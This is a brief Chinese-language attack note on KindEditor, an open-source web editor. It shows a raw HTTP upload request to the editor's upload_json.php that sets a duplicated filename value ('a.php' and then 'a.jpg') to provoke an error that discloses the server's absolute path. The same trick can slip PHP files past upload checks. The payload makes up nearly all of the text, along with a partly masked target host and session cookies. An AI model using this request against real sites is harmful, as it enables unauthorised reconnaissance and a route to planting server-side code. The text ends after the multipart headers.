Kindeditor编辑器爆绝对路径

双写文件名触发报错

Content-Disposition: form-data ; name="imgFile"; filename="a.php";filename="a.jpg"

POST /Public/main/js/kindeditor/php/upload_json.php HTTP/1.1
Host: jd.xx.s3136s.cn
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.3538.77 Safari/537.36
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: http://xx.xxx
X-Requested-With: XMLHttpRequest
Content-Type: multipart/form-data; boundary=---------------------------333386876433742102273577814771
Content-Length: 80084
Origin: http://jd.cxx
Connection: close
Cookie: __jda=161763518.15862537027651894983383.1586253702.1586253702.1586314786.2; __jdv=161763518%7Cdirect%7C-%7Cnone%7C-%7C1586253702765; mba_muid=15862537027651894983383; shshshfp=63c759c83cea84f8cfaae5cff8c1b1f7; shshshfpa=97968ff6-169d-4c7f-d624-24070fdbfcd1-1586253708; PHPSESSID=4dt103soba9**n5e5n60gojbr4

-----------------------------333386876433742102273577814771
Content-Disposition: form-data ; name="imgFile"; filename="a.php";filename="a.jpg"
Content-Type: application/octet-stream